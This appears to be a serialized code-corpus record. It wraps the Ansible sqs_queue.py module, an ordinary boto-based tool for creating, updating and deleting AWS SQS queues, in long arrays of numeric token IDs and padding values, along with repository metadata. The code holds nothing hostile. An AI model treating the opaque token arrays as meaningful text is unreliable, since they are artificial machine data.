19, 14, 23, 297, 272, 3272, 63, 6537, 1524, 267, 283, 13623, 8119, 16, 14, 24, 297, 267, 283, 9983, 8119, 17, 14, 20, 297, 272, 2156, 272, 3907, 63, 6537, 1524, 267, 283, 4714, 8119, 17, 14, 1046, 297, 267, 283, 14248, 8119, 16, 14, 1167, 297, 272, 2156, 272, 13751, 63, 4365, 3126, 267, 283, 271, 12607, 63, 4421, 356, 788, 551, 3258, 390, 13, 4421, 8119, 16, 14, 20, 14, 18, 995, 272, 1660, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 35, 9, 9708, 13, 12682, 1603, 736, 9518, 799, 6267, 1335, 269, 32, 262, 10928, 30298, 14, 5411, 13, 8810, 352, 14, 271, 199, 3, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 421, 199, 624, 33, 9116, 4079, 3272, 859, 14, 199, 2859, 921, 27796, 14, 1548, 14, 1308, 15, 287, 15, 7410, 15, 20231, 4655, 14, 1360, 199, 624, 199, 199, 646, 9116, 199, 646, 747, 14, 515, 199, 199, 646, 809, 19106, 63, 10525, 199, 199, 3, 2372, 314, 1846, 1369, 687, 314, 27781, 570, 199, 32709, 63, 493, 275, 747, 14, 515, 14, 904, 8, 736, 14, 515, 14, 4832, 8, 736, 14, 515, 14, 3475, 3460, 493, 22159, 283, 18195, 14, 8332, 358, 199, 1045, 1551, 8, 32709, 63, 493, 12, 818, 534, 82, 297, 2644, 534, 1624, 13, 24, 358, 465, 289, 26, 272, 1846, 63, 1802, 275, 289, 14, 739, 342, 199, 199, 3, 12439, 199, 13623, 14, 2758, 8, 272, 327, 8605, 315, 17308, 272, 536, 534, 3642, 13, 31384, 297, 272, 1369, 534, 2765, 3555, 6127, 370, 19917, 18769, 26649, 334, 7253, 436, 5178, 9, 12627, 701, 7317, 28088, 12627, 14, 28876, 6878, 652, 6127, 370, 477, 12607, 334, 4778, 794, 9, 7317, 28088, 12627, 436, 14241, 4568, 10460, 402, 7798, 26426, 3130, 272, 1846, 63, 1802, 29, 2809, 63, 1802, 12, 272, 7681, 534, 11227, 20030, 18769, 26649, 9363, 5178, 3634, 12627, 7317, 28088, 477, 12607, 6535, 794, 22706, 6535, 2072, 7798, 18649, 26426, 8802, 19881, 297, 339, 1166, 534, 2859, 921, 5031, 14, 957, 15, 5857, 13, 15, 3642, 63, 31384, 297, 272, 4132, 534, 42, 736, 9518, 799, 6267, 297, 272, 4132, 63, 2123, 534, 5857, 32, 262, 10928, 30298, 14, 5411, 13, 8810, 352, 14, 271, 297, 272, 4190, 534, 1254, 2749, 297, 339, 19137, 1524, 267, 327, 15290, 9795, 267, 283, 23753, 9795, 3800, 959, 446, 24114, 15, 933, 461, 297, 267, 327, 1010, 6943, 23975, 12, 32166, 267, 283, 23910, 23975, 3800, 27491, 15, 497, 1733, 297, 267, 283, 12157, 3800, 16578, 23509, 15, 8524, 15663, 3800, 16593, 1589, 3889, 83, 297, 267, 283, 12157, 3800, 2290, 15290, 3800, 31454, 3800, 2018, 18167, 297, 267, 283, 12157, 3800, 738, 17933, 297, 267, 327, 491, 530, 4894, 334, 5626, 1336, 298, 1682, 2, 3432, 9, 267, 283, 3761, 3800, 25718, 26330, 3800, 1664, 4265, 1696, 1684, 844, 373, 19, 503, 2945, 334, 1254, 2749, 86, 19, 14705, 267, 327, 26167, 2018, 5459, 267, 283, 11411, 8466, 3800, 2018, 297, 272, 2156, 339, 327, 1015, 272, 1015, 29, 27550, 63, 10525, 14, 362, 63, 1023, 1062, 272, 2088, 533, 29, 27550, 63, 10525, 14, 362, 63, 1760, 533, 1062, 339, 327, 6117, 370, 3907, 272, 6117, 29, 13623, 14, 1623, 63, 5154, 1062, 339, 327, 5124, 272, 2366, 63, 6537, 534, 8119, 19, 14, 23, 297, 272, 3272, 63, 6537, 1524, 267, 283, 13623, 8119, 16, 14, 24, 297, 267, 283, 9983, 8119, 17, 14, 20, 297, 272, 2156, 272, 3907, 63, 6537, 1524, 267, 283, 4714, 8119, 17, 14, 1046, 297, 267, 283, 14248, 8119, 16, 14, 1167, 297, 272, 2156, 272, 13751, 63, 4365, 3126, 267, 283, 271, 12607, 63, 4421, 356, 788, 551, 3258, 390, 13, 4421, 8119, 16, 14, 20, 14, 18, 995, 272, 1660, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32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, 0, 0, 0 ]
orgito/ansible
lib/ansible/modules/cloud/amazon/sqs_queue.py
39
9868
#!/usr/bin/python # Copyright: Ansible Project # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['stableinterface'], 'supported_by': 'community'} DOCUMENTATION = """ --- module: sqs_queue short_description: Creates or deletes AWS SQS queues. description: - Create or delete AWS SQS queues. - Update attributes on existing queues. version_added: "2.0" author: - Alan Loi (@loia) - Fernando Jose Pando (@nand0p) - Nadir Lloret (@nadirollo) requirements: - "boto >= 2.33.0" options: state: description: - Create or delete the queue required: false choices: ['present', 'absent'] default: 'present' name: description: - Name of the queue. required: true default_visibility_timeout: description: - The default visibility timeout in seconds. message_retention_period: description: - The message retention period in seconds. maximum_message_size: description: - The maximum message size in bytes. delivery_delay: description: - The delivery delay in seconds. receive_message_wait_time: description: - The receive message wait time in seconds. policy: description: - The json dict policy to attach to queue version_added: "2.1" redrive_policy: description: - json dict with the redrive_policy (see example) version_added: "2.2" extends_documentation_fragment: - aws - ec2 """ RETURN = ''' default_visibility_timeout: description: The default visibility timeout in seconds. type: int returned: always sample: 30 delivery_delay: description: The delivery delay in seconds. type: int returned: always sample: 0 maximum_message_size: description: The maximum message size in bytes. type: int returned: always sample: 262144 message_retention_period: description: The message retention period in seconds. type: int returned: always sample: 345600 name: description: Name of the SQS Queue type: str returned: always sample: "queuename-987d2de0" queue_arn: description: The queue's Amazon resource name (ARN). type: str returned: on successful creation or update of the queue sample: 'arn:aws:sqs:us-east-1:199999999999:queuename-987d2de0' receive_message_wait_time: description: The receive message wait time in seconds. type: int returned: always sample: 0 region: description: Region that the queue was created within type: str returned: always sample: 'us-east-1' ''' EXAMPLES = ''' # Create SQS queue with redrive policy - sqs_queue: name: my-queue region: ap-southeast-2 default_visibility_timeout: 120 message_retention_period: 86400 maximum_message_size: 1024 delivery_delay: 30 receive_message_wait_time: 20 policy: "{{ json_dict }}" redrive_policy: maxReceiveCount: 5 deadLetterTargetArn: arn:aws:sqs:eu-west-1:123456789012:my-dead-queue # Delete SQS queue - sqs_queue: name: my-queue region: ap-southeast-2 state: absent ''' import json import traceback try: import boto.sqs from boto.exception import BotoServerError, NoAuthHandlerFound HAS_BOTO = True except ImportError: HAS_BOTO = False from ansible.module_utils.basic import AnsibleModule from ansible.module_utils.ec2 import AnsibleAWSError, connect_to_aws, ec2_argument_spec, get_aws_connection_info def create_or_update_sqs_queue(connection, module): queue_name = module.params.get('name') queue_attributes = dict( default_visibility_timeout=module.params.get('default_visibility_timeout'), message_retention_period=module.params.get('message_retention_period'), maximum_message_size=module.params.get('maximum_message_size'), delivery_delay=module.params.get('delivery_delay'), receive_message_wait_time=module.params.get('receive_message_wait_time'), policy=module.params.get('policy'), redrive_policy=module.params.get('redrive_policy') ) result = dict( region=module.params.get('region'), name=queue_name, ) result.update(queue_attributes) try: queue = connection.get_queue(queue_name) if queue: # Update existing result['changed'] = update_sqs_queue(queue, check_mode=module.check_mode, **queue_attributes) else: # Create new if not module.check_mode: queue = connection.create_queue(queue_name) update_sqs_queue(queue, **queue_attributes) result['changed'] = True if not module.check_mode: result['queue_arn'] = queue.get_attributes('QueueArn')['QueueArn'] result['default_visibility_timeout'] = queue.get_attributes('VisibilityTimeout')['VisibilityTimeout'] result['message_retention_period'] = queue.get_attributes('MessageRetentionPeriod')['MessageRetentionPeriod'] result['maximum_message_size'] = queue.get_attributes('MaximumMessageSize')['MaximumMessageSize'] result['delivery_delay'] = queue.get_attributes('DelaySeconds')['DelaySeconds'] result['receive_message_wait_time'] = queue.get_attributes('ReceiveMessageWaitTimeSeconds')['ReceiveMessageWaitTimeSeconds'] except BotoServerError: result['msg'] = 'Failed to create/update sqs queue due to error: ' + traceback.format_exc() module.fail_json(**result) else: module.exit_json(**result) def update_sqs_queue(queue, check_mode=False, default_visibility_timeout=None, message_retention_period=None, maximum_message_size=None, delivery_delay=None, receive_message_wait_time=None, policy=None, redrive_policy=None): changed = False changed = set_queue_attribute(queue, 'VisibilityTimeout', default_visibility_timeout, check_mode=check_mode) or changed changed = set_queue_attribute(queue, 'MessageRetentionPeriod', message_retention_period, check_mode=check_mode) or changed changed = set_queue_attribute(queue, 'MaximumMessageSize', maximum_message_size, check_mode=check_mode) or changed changed = set_queue_attribute(queue, 'DelaySeconds', delivery_delay, check_mode=check_mode) or changed changed = set_queue_attribute(queue, 'ReceiveMessageWaitTimeSeconds', receive_message_wait_time, check_mode=check_mode) or changed changed = set_queue_attribute(queue, 'Policy', policy, check_mode=check_mode) or changed changed = set_queue_attribute(queue, 'RedrivePolicy', redrive_policy, check_mode=check_mode) or changed return changed def set_queue_attribute(queue, attribute, value, check_mode=False): if not value and value != 0: return False try: existing_value = queue.get_attributes(attributes=attribute)[attribute] except Exception: existing_value = '' # convert dict attributes to JSON strings (sort keys for comparing) if attribute in ['Policy', 'RedrivePolicy']: value = json.dumps(value, sort_keys=True) if existing_value: existing_value = json.dumps(json.loads(existing_value), sort_keys=True) if str(value) != existing_value: if not check_mode: queue.set_attribute(attribute, value) return True return False def delete_sqs_queue(connection, module): queue_name = module.params.get('name') result = dict( region=module.params.get('region'), name=queue_name, ) try: queue = connection.get_queue(queue_name) if queue: if not module.check_mode: connection.delete_queue(queue) result['changed'] = True else: result['changed'] = False except BotoServerError: result['msg'] = 'Failed to delete sqs queue due to error: ' + traceback.format_exc() module.fail_json(**result) else: module.exit_json(**result) def main(): argument_spec = ec2_argument_spec() argument_spec.update(dict( state=dict(default='present', choices=['present', 'absent']), name=dict(required=True, type='str'), default_visibility_timeout=dict(type='int'), message_retention_period=dict(type='int'), maximum_message_size=dict(type='int'), delivery_delay=dict(type='int'), receive_message_wait_time=dict(type='int'), policy=dict(type='dict', required=False), redrive_policy=dict(type='dict', required=False), )) module = AnsibleModule( argument_spec=argument_spec, supports_check_mode=True) if not HAS_BOTO: module.fail_json(msg='boto required for this module') region, ec2_url, aws_connect_params = get_aws_connection_info(module) if not region: module.fail_json(msg='region must be specified') try: connection = connect_to_aws(boto.sqs, region, **aws_connect_params) except (NoAuthHandlerFound, AnsibleAWSError) as e: module.fail_json(msg=str(e)) state = module.params.get('state') if state == 'present': create_or_update_sqs_queue(connection, module) elif state == 'absent': delete_sqs_queue(connection, module) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1898, 26, 2622, 7290, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 11989, 3266, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 421, 199, 8948, 275, 408, 199, 2595, 199, 578, 26, 5295, 83, 63, 1825, 199, 3612, 63, 1802, 26, 10560, 503, 21812, 10168, 428, 23298, 21366, 14, 199, 1802, 26, 523, 446, 2790, 503, 3145, 10168, 428, 23298, 21366, 14, 523, 446, 6162, 3004, 641, 3411, 21366, 14, 199, 1023, 63, 3270, 26, 298, 18, 14, 16, 2, 199, 2502, 26, 523, 446, 437, 1502, 3835, 73, 8593, 320, 4674, 9, 523, 446, 481, 27569, 22066, 1603, 3362, 510, 22066, 8593, 78, 460, 16, 80, 9, 523, 446, 11290, 694, 491, 320, 3292, 8593, 3540, 328, 8459, 320, 9, 199, 7538, 26, 523, 446, 298, 10914, 2356, 499, 14, 1153, 14, 16, 2, 199, 1419, 26, 523, 1174, 26, 272, 1369, 26, 489, 446, 2790, 503, 3145, 314, 4126, 272, 1415, 26, 3055, 272, 3415, 26, 788, 1881, 297, 283, 5575, 418, 272, 849, 26, 283, 1881, 7, 523, 536, 26, 272, 1369, 26, 489, 446, 2812, 402, 314, 4126, 14, 272, 1415, 26, 2549, 523, 849, 63, 11269, 63, 2593, 26, 272, 1369, 26, 489, 446, 710, 849, 6887, 2653, 315, 4696, 14, 523, 1245, 63, 28307, 63, 5191, 26, 272, 1369, 26, 489, 446, 710, 1245, 295, 9553, 6247, 315, 4696, 14, 523, 5696, 63, 1188, 63, 890, 26, 272, 1369, 26, 489, 446, 710, 5696, 1245, 1568, 315, 2783, 14, 523, 18719, 63, 5814, 26, 272, 1369, 26, 489, 446, 710, 18719, 7339, 315, 4696, 14, 523, 9128, 63, 1188, 63, 2573, 63, 521, 26, 272, 1369, 26, 489, 446, 710, 9128, 1245, 3618, 900, 315, 4696, 14, 523, 4592, 26, 272, 1369, 26, 489, 446, 710, 2022, 1211, 4592, 370, 6554, 370, 4126, 272, 1015, 63, 3270, 26, 298, 18, 14, 17, 2, 523, 8992, 6053, 63, 3185, 26, 272, 1369, 26, 489, 446, 2022, 1211, 543, 314, 8992, 6053, 63, 3185, 334, 3239, 2893, 9, 272, 1015, 63, 3270, 26, 298, 18, 14, 18, 2, 199, 11036, 63, 9970, 63, 7677, 26, 272, 446, 11488, 272, 446, 7062, 18, 199, 624, 199, 199, 9677, 275, 1449, 199, 885, 63, 11269, 63, 2593, 26, 272, 1369, 26, 710, 849, 6887, 2653, 315, 4696, 14, 272, 730, 26, 1109, 272, 2138, 26, 3544, 272, 2690, 26, 4233, 199, 14564, 63, 5814, 26, 272, 1369, 26, 710, 18719, 7339, 315, 4696, 14, 272, 730, 26, 1109, 272, 2138, 26, 3544, 272, 2690, 26, 378, 199, 11555, 63, 1188, 63, 890, 26, 272, 1369, 26, 710, 5696, 1245, 1568, 315, 2783, 14, 272, 730, 26, 1109, 272, 2138, 26, 3544, 272, 2690, 26, 499, 2789, 9862, 199, 1188, 63, 28307, 63, 5191, 26, 272, 1369, 26, 710, 1245, 295, 9553, 6247, 315, 4696, 14, 272, 730, 26, 1109, 272, 2138, 26, 3544, 272, 2690, 26, 8177, 1367, 383, 199, 354, 26, 272, 1369, 26, 2812, 402, 314, 428, 23298, 10703, 272, 730, 26, 620, 272, 2138, 26, 3544, 272, 2690, 26, 298, 544, 85, 17604, 13, 23358, 68, 18, 271, 16, 2, 199, 1825, 63, 1060, 26, 272, 1369, 26, 710, 4126, 1159, 14347, 2073, 536, 334, 26513, 680, 272, 730, 26, 620, 272, 2138, 26, 641, 9512, 7143, 503, 1678, 402, 314, 4126, 272, 2690, 26, 283, 1060, 26, 7231, 26, 31603, 26, 527, 13, 14346, 13, 17, 26, 17, 13453, 5637, 26, 544, 85, 17604, 13, 23358, 68, 18, 271, 16, 7, 199, 9391, 63, 1188, 63, 2573, 63, 521, 26, 272, 1369, 26, 710, 9128, 1245, 3618, 900, 315, 4696, 14, 272, 730, 26, 1109, 272, 2138, 26, 3544, 272, 2690, 26, 378, 199, 4551, 26, 272, 1369, 26, 22240, 626, 314, 4126, 1990, 2737, 4453, 272, 730, 26, 620, 272, 2138, 26, 3544, 272, 2690, 26, 283, 527, 13, 14346, 13, 17, 7, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 2790, 428, 23298, 4126, 543, 8992, 6053, 4592, 199, 13, 5295, 83, 63, 1825, 26, 272, 536, 26, 3002, 13, 1825, 272, 4897, 26, 2771, 13, 22607, 14346, 13, 18, 272, 849, 63, 11269, 63, 2593, 26, 13960, 272, 1245, 63, 28307, 63, 5191, 26, 31200, 272, 5696, 63, 1188, 63, 890, 26, 6619, 272, 18719, 63, 5814, 26, 4233, 272, 9128, 63, 1188, 63, 2573, 63, 521, 26, 3388, 272, 4592, 26, 7370, 2022, 63, 807, 7820, 272, 8992, 6053, 63, 3185, 26, 489, 1390, 14235, 2353, 26, 959, 489, 12314, 23496, 4277, 20498, 26, 601, 78, 26, 7231, 26, 31603, 26, 16913, 13, 19082, 13, 17, 26, 11272, 11533, 26, 1662, 13, 10957, 13, 1825, 199, 199, 3, 8496, 428, 23298, 4126, 199, 13, 5295, 83, 63, 1825, 26, 272, 536, 26, 3002, 13, 1825, 272, 4897, 26, 2771, 13, 22607, 14346, 13, 18, 272, 1174, 26, 9552, 199, 2344, 199, 199, 646, 2022, 199, 646, 5190, 199, 199, 893, 26, 272, 492, 6055, 14, 31603, 272, 687, 6055, 14, 1971, 492, 24411, 17692, 12, 3091, 21547, 3601, 272, 7509, 63, 21373, 275, 715, 199, 199, 2590, 3545, 26, 272, 7509, 63, 21373, 275, 756, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 4316, 492, 6953, 199, 504, 3242, 14, 578, 63, 1208, 14, 825, 18, 492, 2622, 13226, 547, 12, 4907, 63, 475, 63, 7231, 12, 7062, 18, 63, 2094, 63, 1650, 12, 664, 63, 7231, 63, 2105, 63, 815, 421, 199, 318, 1218, 63, 269, 63, 873, 63, 31603, 63, 1825, 8, 2105, 12, 859, 304, 272, 4126, 63, 354, 275, 859, 14, 1162, 14, 362, 360, 354, 358, 339, 4126, 63, 2987, 275, 1211, 8, 267, 849, 63, 11269, 63, 2593, 29, 578, 14, 1162, 14, 362, 360, 885, 63, 11269 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1898, 26, 2622, 7290, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 870, 63, 1593, 199, 363, 6577, 363, 275, 730, 421, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 11989, 3266, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 421, 199, 8948, 275, 408, 199, 2595, 199, 578, 26, 5295, 83, 63, 1825, 199, 3612, 63, 1802, 26, 10560, 503, 21812, 10168, 428, 23298, 21366, 14, 199, 1802, 26, 523, 446, 2790, 503, 3145, 10168, 428, 23298, 21366, 14, 523, 446, 6162, 3004, 641, 3411, 21366, 14, 199, 1023, 63, 3270, 26, 298, 18, 14, 16, 2, 199, 2502, 26, 523, 446, 437, 1502, 3835, 73, 8593, 320, 4674, 9, 523, 446, 481, 27569, 22066, 1603, 3362, 510, 22066, 8593, 78, 460, 16, 80, 9, 523, 446, 11290, 694, 491, 320, 3292, 8593, 3540, 328, 8459, 320, 9, 199, 7538, 26, 523, 446, 298, 10914, 2356, 499, 14, 1153, 14, 16, 2, 199, 1419, 26, 523, 1174, 26, 272, 1369, 26, 489, 446, 2790, 503, 3145, 314, 4126, 272, 1415, 26, 3055, 272, 3415, 26, 788, 1881, 297, 283, 5575, 418, 272, 849, 26, 283, 1881, 7, 523, 536, 26, 272, 1369, 26, 489, 446, 2812, 402, 314, 4126, 14, 272, 1415, 26, 2549, 523, 849, 63, 11269, 63, 2593, 26, 272, 1369, 26, 489, 446, 710, 849, 6887, 2653, 315, 4696, 14, 523, 1245, 63, 28307, 63, 5191, 26, 272, 1369, 26, 489, 446, 710, 1245, 295, 9553, 6247, 315, 4696, 14, 523, 5696, 63, 1188, 63, 890, 26, 272, 1369, 26, 489, 446, 710, 5696, 1245, 1568, 315, 2783, 14, 523, 18719, 63, 5814, 26, 272, 1369, 26, 489, 446, 710, 18719, 7339, 315, 4696, 14, 523, 9128, 63, 1188, 63, 2573, 63, 521, 26, 272, 1369, 26, 489, 446, 710, 9128, 1245, 3618, 900, 315, 4696, 14, 523, 4592, 26, 272, 1369, 26, 489, 446, 710, 2022, 1211, 4592, 370, 6554, 370, 4126, 272, 1015, 63, 3270, 26, 298, 18, 14, 17, 2, 523, 8992, 6053, 63, 3185, 26, 272, 1369, 26, 489, 446, 2022, 1211, 543, 314, 8992, 6053, 63, 3185, 334, 3239, 2893, 9, 272, 1015, 63, 3270, 26, 298, 18, 14, 18, 2, 199, 11036, 63, 9970, 63, 7677, 26, 272, 446, 11488, 272, 446, 7062, 18, 199, 624, 199, 199, 9677, 275, 1449, 199, 885, 63, 11269, 63, 2593, 26, 272, 1369, 26, 710, 849, 6887, 2653, 315, 4696, 14, 272, 730, 26, 1109, 272, 2138, 26, 3544, 272, 2690, 26, 4233, 199, 14564, 63, 5814, 26, 272, 1369, 26, 710, 18719, 7339, 315, 4696, 14, 272, 730, 26, 1109, 272, 2138, 26, 3544, 272, 2690, 26, 378, 199, 11555, 63, 1188, 63, 890, 26, 272, 1369, 26, 710, 5696, 1245, 1568, 315, 2783, 14, 272, 730, 26, 1109, 272, 2138, 26, 3544, 272, 2690, 26, 499, 2789, 9862, 199, 1188, 63, 28307, 63, 5191, 26, 272, 1369, 26, 710, 1245, 295, 9553, 6247, 315, 4696, 14, 272, 730, 26, 1109, 272, 2138, 26, 3544, 272, 2690, 26, 8177, 1367, 383, 199, 354, 26, 272, 1369, 26, 2812, 402, 314, 428, 23298, 10703, 272, 730, 26, 620, 272, 2138, 26, 3544, 272, 2690, 26, 298, 544, 85, 17604, 13, 23358, 68, 18, 271, 16, 2, 199, 1825, 63, 1060, 26, 272, 1369, 26, 710, 4126, 1159, 14347, 2073, 536, 334, 26513, 680, 272, 730, 26, 620, 272, 2138, 26, 641, 9512, 7143, 503, 1678, 402, 314, 4126, 272, 2690, 26, 283, 1060, 26, 7231, 26, 31603, 26, 527, 13, 14346, 13, 17, 26, 17, 13453, 5637, 26, 544, 85, 17604, 13, 23358, 68, 18, 271, 16, 7, 199, 9391, 63, 1188, 63, 2573, 63, 521, 26, 272, 1369, 26, 710, 9128, 1245, 3618, 900, 315, 4696, 14, 272, 730, 26, 1109, 272, 2138, 26, 3544, 272, 2690, 26, 378, 199, 4551, 26, 272, 1369, 26, 22240, 626, 314, 4126, 1990, 2737, 4453, 272, 730, 26, 620, 272, 2138, 26, 3544, 272, 2690, 26, 283, 527, 13, 14346, 13, 17, 7, 199, 2344, 199, 199, 8918, 275, 1449, 199, 3, 2790, 428, 23298, 4126, 543, 8992, 6053, 4592, 199, 13, 5295, 83, 63, 1825, 26, 272, 536, 26, 3002, 13, 1825, 272, 4897, 26, 2771, 13, 22607, 14346, 13, 18, 272, 849, 63, 11269, 63, 2593, 26, 13960, 272, 1245, 63, 28307, 63, 5191, 26, 31200, 272, 5696, 63, 1188, 63, 890, 26, 6619, 272, 18719, 63, 5814, 26, 4233, 272, 9128, 63, 1188, 63, 2573, 63, 521, 26, 3388, 272, 4592, 26, 7370, 2022, 63, 807, 7820, 272, 8992, 6053, 63, 3185, 26, 489, 1390, 14235, 2353, 26, 959, 489, 12314, 23496, 4277, 20498, 26, 601, 78, 26, 7231, 26, 31603, 26, 16913, 13, 19082, 13, 17, 26, 11272, 11533, 26, 1662, 13, 10957, 13, 1825, 199, 199, 3, 8496, 428, 23298, 4126, 199, 13, 5295, 83, 63, 1825, 26, 272, 536, 26, 3002, 13, 1825, 272, 4897, 26, 2771, 13, 22607, 14346, 13, 18, 272, 1174, 26, 9552, 199, 2344, 199, 199, 646, 2022, 199, 646, 5190, 199, 199, 